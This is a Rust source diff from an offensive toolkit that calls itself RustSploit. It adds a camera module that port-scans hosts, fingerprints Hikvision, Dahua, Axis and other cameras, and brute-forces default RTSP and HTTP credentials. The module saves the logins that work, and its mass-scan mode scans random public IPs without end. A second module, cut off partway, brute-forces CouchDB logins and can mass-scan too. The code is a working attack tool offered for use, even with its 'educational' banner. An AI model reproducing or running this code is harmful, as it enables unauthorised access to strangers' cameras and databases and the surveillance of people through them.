crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
|
||||
|
||||
// 2. Camera Detection & Fingerprinting
|
||||
let client = create_client()?;
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
|
||||
if !is_camera {
|
||||
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
|
||||
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
|
||||
}
|
||||
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// 3. Credential Testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 4. Stream Detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// 5. Additional Information
|
||||
|
||||
|
||||
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
crate::mprintln!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold());
|
||||
crate::mprintln!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold());
|
||||
crate::mprintln!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold());
|
||||
crate::mprintln!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold());
|
||||
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
|
||||
}
|
||||
|
||||
fn create_client() -> Result<Client> {
|
||||
Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(TIMEOUT))
|
||||
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
|
||||
.build()
|
||||
.map_err(|e| anyhow::anyhow!(e))
|
||||
}
|
||||
|
||||
fn get_protocol(port: u16) -> &'static str {
|
||||
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
|
||||
}
|
||||
|
||||
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
|
||||
let mut map = HashMap::new();
|
||||
|
||||
// Web ports
|
||||
map.insert(80, ("HTTP", " - Standard Web"));
|
||||
map.insert(443, ("HTTPS", " - Secure Web"));
|
||||
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
|
||||
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
|
||||
map.insert(8000, ("HTTP-Alt", ""));
|
||||
|
||||
// RTSP ports
|
||||
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
|
||||
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
|
||||
|
||||
// RTMP ports
|
||||
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
|
||||
|
||||
// Custom camera ports
|
||||
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
|
||||
|
||||
// ONVIF
|
||||
map.insert(3702, ("ONVIF", " - Camera Discovery"));
|
||||
|
||||
map
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// PORT SCANNING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
|
||||
let mut open_ports = Vec::new();
|
||||
let mut rtsp_ports = Vec::new();
|
||||
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
|
||||
let mut tasks = Vec::new();
|
||||
let target_arc = Arc::new(target.to_string());
|
||||
|
||||
// Deduplicate ports
|
||||
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
|
||||
let port_map = get_port_service_map();
|
||||
|
||||
for port in unique_ports {
|
||||
let t = target_arc.clone();
|
||||
let sem = semaphore.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let addr = format!("{}:{}", t, port);
|
||||
|
||||
// Basic TCP Connect
|
||||
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
|
||||
// If open, probe for RTSP
|
||||
let is_rtsp = probe_rtsp(&t, port).await;
|
||||
return Some((port, is_rtsp));
|
||||
}
|
||||
None
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
if let Ok(Some((port, is_rtsp))) = task.await {
|
||||
open_ports.push(port);
|
||||
if is_rtsp {
|
||||
rtsp_ports.push(port);
|
||||
}
|
||||
|
||||
// Logging
|
||||
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
|
||||
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
|
||||
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
|
||||
}
|
||||
}
|
||||
|
||||
open_ports.sort();
|
||||
rtsp_ports.sort();
|
||||
(open_ports, rtsp_ports)
|
||||
}
|
||||
|
||||
async fn probe_rtsp(target: &str, port: u16) -> bool {
|
||||
// Sends a minimal RTSP OPTIONS request
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
|
||||
target, port
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// FINGERPRINTING
|
||||
// =================================================================================
|
||||
|
||||
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
|
||||
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
|
||||
let found = Arc::new(Mutex::new(false));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for &port in open_ports {
|
||||
let t = target.to_string();
|
||||
let c = client.clone();
|
||||
let f = found.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, t, port);
|
||||
|
||||
if let Ok(resp) = c.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let status = resp.status();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
let mut indicators = false;
|
||||
|
||||
// Server header indicators
|
||||
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
|
||||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
|
||||
headers.contains("ipcam") || headers.contains("webcam") {
|
||||
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Body indicators
|
||||
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
|
||||
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
|
||||
body.contains("ipcam") || body.contains("netcam") {
|
||||
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
// Auth requirement check
|
||||
if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
|
||||
indicators = true;
|
||||
}
|
||||
|
||||
if indicators {
|
||||
let mut lock = f.lock().await;
|
||||
*lock = true;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
let result = *found.lock().await;
|
||||
result
|
||||
}
|
||||
|
||||
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
|
||||
|
||||
let mut found_count = 0;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in COMMON_PATHS {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
|
||||
status == reqwest::StatusCode::FORBIDDEN {
|
||||
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
|
||||
found_count += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if found_count == 0 {
|
||||
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
|
||||
|
||||
let mut found_brand = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
let headers = format!("{:?}", resp.headers()).to_lowercase();
|
||||
let body = resp.text().await.unwrap_or_default().to_lowercase();
|
||||
|
||||
if headers.contains("hikvision") || body.contains("hikvision") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("dahua") || body.contains("dahua") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if headers.contains("axis") || body.contains("axis") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("cp plus") || body.contains("cpplus") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("foscam") || headers.contains("foscam") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
} else if body.contains("vivotek") || headers.contains("vivotek") {
|
||||
crate::mprintln!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
|
||||
found_brand = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_brand {
|
||||
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// CREDENTIALS
|
||||
// =================================================================================
|
||||
|
||||
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
|
||||
crate::mprintln!("{}", "[ℹ️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
|
||||
|
||||
let all_creds_vec = get_default_credentials();
|
||||
let all_creds = all_creds_vec.as_slice();
|
||||
let mut priority_creds = Vec::new();
|
||||
|
||||
// Top priority credentials
|
||||
priority_creds.push(("admin", "admin"));
|
||||
priority_creds.push(("admin", "12345"));
|
||||
priority_creds.push(("admin", "123456"));
|
||||
priority_creds.push(("admin", ""));
|
||||
priority_creds.push(("root", "root"));
|
||||
priority_creds.push(("root", "12345"));
|
||||
priority_creds.push(("", "admin"));
|
||||
|
||||
// Test RTSP ports first
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
|
||||
for &port in rtsp_ports {
|
||||
for &(user, pass) in &priority_creds {
|
||||
if test_rtsp_auth(target, port, user, pass).await {
|
||||
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
target,
|
||||
port
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "rtsp", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Test HTTP/HTTPS ports
|
||||
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
|
||||
for &port in open_ports {
|
||||
if rtsp_ports.contains(&port) {
|
||||
continue; // Already tested
|
||||
}
|
||||
|
||||
let protocol = get_protocol(port);
|
||||
let url = format!("{}://{}:{}", protocol, target, port);
|
||||
|
||||
// First check if auth is required
|
||||
if let Ok(resp) = client.get(&url).send().await {
|
||||
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
|
||||
// Try credentials
|
||||
// First try priority creds
|
||||
let mut tested = HashSet::new();
|
||||
for &(user, pass) in &priority_creds {
|
||||
tested.insert((user, pass));
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Then try remaining creds from the full list
|
||||
for &(user, pass) in all_creds {
|
||||
if tested.contains(&(user, pass)) { continue; }
|
||||
|
||||
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
|
||||
if resp.status().is_success() {
|
||||
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
|
||||
"SUCCESS!".bright_green().bold(),
|
||||
user,
|
||||
if pass.is_empty() { "<empty>" } else { pass },
|
||||
url
|
||||
);
|
||||
let _ = crate::cred_store::store_credential(
|
||||
target, port, "http", user, pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/camxploit/camxploit",
|
||||
).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
|
||||
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
|
||||
let request = format!(
|
||||
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
|
||||
target, port, auth_str
|
||||
);
|
||||
if stream.write_all(request.as_bytes()).await.is_ok() {
|
||||
let mut buffer = [0u8; 2048];
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
if response.contains("RTSP/1.0 200 OK") {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// STREAM DETECTION
|
||||
// =================================================================================
|
||||
|
||||
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
|
||||
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
|
||||
|
||||
// Show RTSP links
|
||||
if !rtsp_ports.is_empty() {
|
||||
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
|
||||
let common_paths = [
|
||||
"/",
|
||||
"/live.sdp",
|
||||
"/h264.sdp",
|
||||
"/stream1",
|
||||
"/Streaming/Channels/1",
|
||||
"/Streaming/Channels/101",
|
||||
"/cam/realmonitor",
|
||||
"/live/ch00_0",
|
||||
"/livestream",
|
||||
"/axis-media/media.amp"
|
||||
];
|
||||
|
||||
for &port in rtsp_ports {
|
||||
for path in common_paths {
|
||||
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
|
||||
}
|
||||
|
||||
// Check HTTP streams on open ports
|
||||
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
|
||||
let stream_paths = [
|
||||
"/video",
|
||||
"/stream",
|
||||
"/live",
|
||||
"/mjpg/video.mjpg",
|
||||
"/snapshot.jpg",
|
||||
"/videostream.cgi",
|
||||
"/video.cgi",
|
||||
"/image.jpg",
|
||||
"/cgi-bin/mjpeg",
|
||||
"/axis-cgi/mjpg/video.cgi"
|
||||
];
|
||||
|
||||
let mut found_streams = false;
|
||||
|
||||
for &port in open_ports {
|
||||
let protocol = get_protocol(port);
|
||||
for path in stream_paths {
|
||||
let url = format!("{}://{}:{}{}", protocol, target, port, path);
|
||||
// Use head first
|
||||
if let Ok(resp) = client.head(&url).send().await {
|
||||
let status = resp.status();
|
||||
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
let ct = resp.headers().get("content-type")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.unwrap_or("");
|
||||
|
||||
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
|
||||
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
|
||||
found_streams = true;
|
||||
} else if status == reqwest::StatusCode::UNAUTHORIZED {
|
||||
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
|
||||
found_streams = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !found_streams && rtsp_ports.is_empty() {
|
||||
crate::mprintln!(" {} No live streams detected", "[-]".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
// =================================================================================
|
||||
// HELPER FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
|
||||
DEFAULT_CREDENTIALS.to_vec()
|
||||
}
|
||||
|
||||
// =================================================================================
|
||||
// MASS SCAN FUNCTIONS
|
||||
// =================================================================================
|
||||
|
||||
/// Build parsed exclusion list from EXCLUDED_RANGES
|
||||
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
|
||||
EXCLUDED_RANGES.iter()
|
||||
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
|
||||
.collect()
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
|
||||
/// Returns true if the host should be skipped (only non-camera services found)
|
||||
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
|
||||
if open_ports.is_empty() {
|
||||
return true;
|
||||
}
|
||||
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
crate::mprintln!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
|
||||
crate::mprintln!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
|
||||
crate::mprintln!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
|
||||
crate::mprintln!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// Build exclusion list
|
||||
let exclusions = build_exclusion_list();
|
||||
crate::mprintln!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
|
||||
|
||||
// Prompt for thread count
|
||||
let thread_count = crate::utils::cfg_prompt_int_range("concurrency", "Threads", 200, 1, 5000).await? as usize;
|
||||
|
||||
// Prompt for output file
|
||||
let output_file = crate::utils::cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file for discovered cameras",
|
||||
"camxploit_results.txt",
|
||||
).await?;
|
||||
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
|
||||
thread_count
|
||||
).cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
let exclusions = Arc::new(exclusions);
|
||||
let scanned_count = Arc::new(AtomicU64::new(0));
|
||||
let found_count = Arc::new(AtomicU64::new(0));
|
||||
let skipped_service_count = Arc::new(AtomicU64::new(0));
|
||||
let semaphore = Arc::new(Semaphore::new(thread_count));
|
||||
let output_file = Arc::new(output_file);
|
||||
|
||||
// Progress reporter task (time-based, every 10 seconds)
|
||||
{
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let start_time = Instant::now();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
let total = scanned.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs().max(1);
|
||||
let rate = total / elapsed;
|
||||
crate::mprintln!(
|
||||
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
|
||||
total,
|
||||
found.load(Ordering::Relaxed),
|
||||
skipped.load(Ordering::Relaxed),
|
||||
rate
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Infinite parallel scan loop
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await
|
||||
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let scanned = scanned_count.clone();
|
||||
let found = found_count.clone();
|
||||
let skipped = skipped_service_count.clone();
|
||||
let outfile = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let target = ip.to_string();
|
||||
|
||||
// Parallel port scan
|
||||
let (open_ports, rtsp_ports) = check_ports(&target).await;
|
||||
scanned.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
if open_ports.is_empty() {
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
// Service filter: skip if only SSH/Telnet/RDP are open
|
||||
if is_only_ignored_services(&open_ports) {
|
||||
skipped.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
|
||||
target,
|
||||
open_ports.len(),
|
||||
open_ports
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
|
||||
let client = match create_client() {
|
||||
Ok(c) => c,
|
||||
Err(e) => {
|
||||
crate::meprintln!("Failed to create client: {}", e);
|
||||
drop(permit);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Camera detection & fingerprinting
|
||||
let is_camera = check_if_camera(&target, &open_ports, &client).await;
|
||||
check_login_pages(&target, &open_ports, &client).await;
|
||||
fingerprint_camera(&target, &open_ports, &client).await;
|
||||
|
||||
// Credential testing
|
||||
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Stream detection
|
||||
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
|
||||
|
||||
// Record discovered camera
|
||||
if is_camera || !rtsp_ports.is_empty() {
|
||||
found.fetch_add(1, Ordering::Relaxed);
|
||||
// Save to output file
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(outfile.as_str())
|
||||
{
|
||||
use std::io::Write;
|
||||
let _ = writeln!(
|
||||
file,
|
||||
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
|
||||
target, open_ports, rtsp_ports
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CamXploit — Camera Discovery & Credential Scanner".to_string(),
|
||||
description: "Comprehensive IP camera discovery, fingerprinting, and default credential testing across RTSP, HTTP, and HTTPS. Supports Hikvision, Dahua, Axis, CP Plus, Foscam, Vivotek, and generic cameras.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Great,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod camxploit;
|
||||
@@ -0,0 +1,572 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_COUCHDB_PORT: u16 = 5984;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
("admin", "123456"),
|
||||
("couchdb", "couchdb"),
|
||||
("admin", "admin123"),
|
||||
("root", "password"),
|
||||
("root", ""),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "CouchDB Brute Force".to_string(),
|
||||
description: "Brute-force CouchDB authentication via session cookie and HTTP Basic Auth. \
|
||||
Tests credentials against the _session endpoint and _all_dbs. Supports default \
|
||||
credential testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ CouchDB Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Session & Basic Auth Credential Testing (port 5984) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "CouchDB",
|
||||
default_port: 5984,
|
||||
state_file: "couchdb_hose_state.log",
|
||||
default_output: "couchdb_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with CouchDB welcome JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("couchdb") && !body.contains("CouchDB") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running CouchDB — try default creds
|
||||
let creds = [
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "couchdb"),
|
||||
("root", "root"),
|
||||
("admin", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let session_url = format!("http://{}:{}/_session", ip, port);
|
||||
let payload = serde_json::json!({"name": user, "password": pass});
|
||||
let req = client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload.to_string());
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("\"ok\":true") || b.contains("\"ok\": true") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"couchdb",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/couchdb_bruteforce",
|
||||
)
|
||||
.await;
